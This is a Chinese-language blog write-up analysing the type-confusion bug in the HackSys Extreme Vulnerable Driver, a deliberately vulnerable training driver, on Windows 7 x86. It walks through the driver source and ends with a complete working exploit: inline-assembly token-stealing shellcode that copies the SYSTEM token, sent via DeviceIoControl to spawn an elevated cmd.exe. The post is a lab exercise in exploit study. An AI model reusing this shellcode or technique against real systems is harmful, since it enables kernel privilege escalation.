selph
selph
发布于 2022-06-29 / 226 阅读
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漏洞分析:HEVD-10.TypeConfusing[win7x86]

前言

窥探Ring0漏洞世界:类型混淆

实验环境:

  • 虚拟机:Windows 7 x86
  • 物理机:Windows 10 x64
  • 软件:IDA,Windbg,VS2022

漏洞分析

老样子,先IDA分析漏洞函数TriggerTypeConfusion,然后再看看源码

首先是申请了8字节非分页池内存

image.png

然后接下来,把用户传入的8字节结构保存到了内核申请的8字节空间里,然后调用了一个初始化函数,程序就结束了

image.png

现在来看看这个初始化程序,打印后4字节的内容,然后调用后4字节的内容(回调函数):

image.png

从反汇编的层面看到的是,这里传入的后4字节会被当成函数调用

接下来看看源码:

/// <summary>
/// Trigger the Type Confusion Vulnerability
/// </summary>
/// <param name="UserTypeConfusionObject">The pointer to USER_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TriggerTypeConfusion(
    _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
)
{
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;

    PAGED_CODE();

    __try
    {
        //
        // Verify if the buffer resides in user mode
        //

        ProbeForRead(
            UserTypeConfusionObject,
            sizeof(USER_TYPE_CONFUSION_OBJECT),
            (ULONG)__alignof(UCHAR)
        );

        //
        // Allocate Pool chunk
        //

        KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
            NonPagedPool,
            sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
            (ULONG)POOL_TAG
        );

        if (!KernelTypeConfusionObject)
        {
            //
            // Unable to allocate Pool chunk
            //

            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else
        {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
        }

        DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
        DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
        DbgPrint("[+] KernelTypeConfusionObject Size: 0x%zX\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));

        KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
        KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;

        DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
        DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);


#ifdef SECURE
        //
        // Secure Note: This is secure because the developer is properly setting 'Callback'
        // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
        // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
        // parameter
        //

        KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
        Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#else
        DbgPrint("[+] Triggering Type Confusion\n");

        //
        // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
        // use of the 'UNION' construct. The developer has not set the 'Callback' member of
        // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
        // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
        // parameter
        //

        Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
#endif

        DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
        DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
        DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);

        //
        // Free the allocated Pool chunk
        //

        ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
        KernelTypeConfusionObject = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

这里安全版本和非安全版本的区别在于是否初始化回调函数,然后再进入初始化函数

这里用的对象结构如下,可以看到,用户传入的是4字节的Type,而在内核结构里,后4字节是个联合体

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
{
    ULONG_PTR ObjectID;
    union
    {
        ULONG_PTR ObjectType;
        FunctionPointer Callback;
    };
} KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;

最后进入初始化函数,就直接调用回调函数了:

/// <summary>
/// Type Confusion Object Initializer
/// </summary>
/// <param name="KernelTypeConfusionObject">The pointer to KERNEL_TYPE_CONFUSION_OBJECT object</param>
/// <returns>NTSTATUS</returns>
NTSTATUS
TypeConfusionObjectInitializer(
    _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
    DbgPrint("[+] Calling Callback\n");

    KernelTypeConfusionObject->Callback();

    DbgPrint("[+] Kernel Type Confusion Object Initialized\n");

    return Status;
}

这里初始化函数没啥问题,主要在于进入初始化函数之前,对对象结构的操作,因为使用了联合体,如果没有初始化Callback,那么用户输入的ObjectType会被当成Callback去执行,这就是所谓的类型混淆。

漏洞利用

利用思路就很简单了,传入对象后四字节给定shellcode地址即可:

#include <iostream>
#include <Windows.h>

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

typedef struct _UserObject {
    ULONG_PTR ObjectID;
    ULONG_PTR ObjectType;
}UserObject,*PUserObject;

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad

        ; 获取当前进程EPROCESS
        xor eax, eax
        mov eax, fs: [eax + KTHREAD_OFFSET]
        mov eax, [eax + EPROCESS_OFFSET]
        mov ecx, eax

        ; 搜索system进程EPROCESS
        mov edx, SYSTEM_PID
        SearchSystemPID :
        mov eax, [eax + FLINK_OFFSET]
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx
            jne SearchSystemPID

            ; token窃取
            mov edx, [eax + TOKEN_OFFSET]
            mov[ecx + TOKEN_OFFSET], edx

            ; 环境还原 + 返回
            popad
    }
}

int main()
{
    ULONG UserBufferSize = sizeof(UserObject);
    PVOID EopPayload = &TokenStealingPayloadWin7;
    HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    PUserObject UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);

    // 构造对象
    UserBuffer->ObjectID = 0x12345678;
    UserBuffer->ObjectType = (ULONG_PTR)EopPayload;

    ULONG WriteRet = 0;
    DeviceIoControl(hDevice, 0x222023, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

    HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
    UserBuffer = NULL;

    system("pause");
    system("cmd.exe");

    return 0;
}

截图演示

image.png

参考资料


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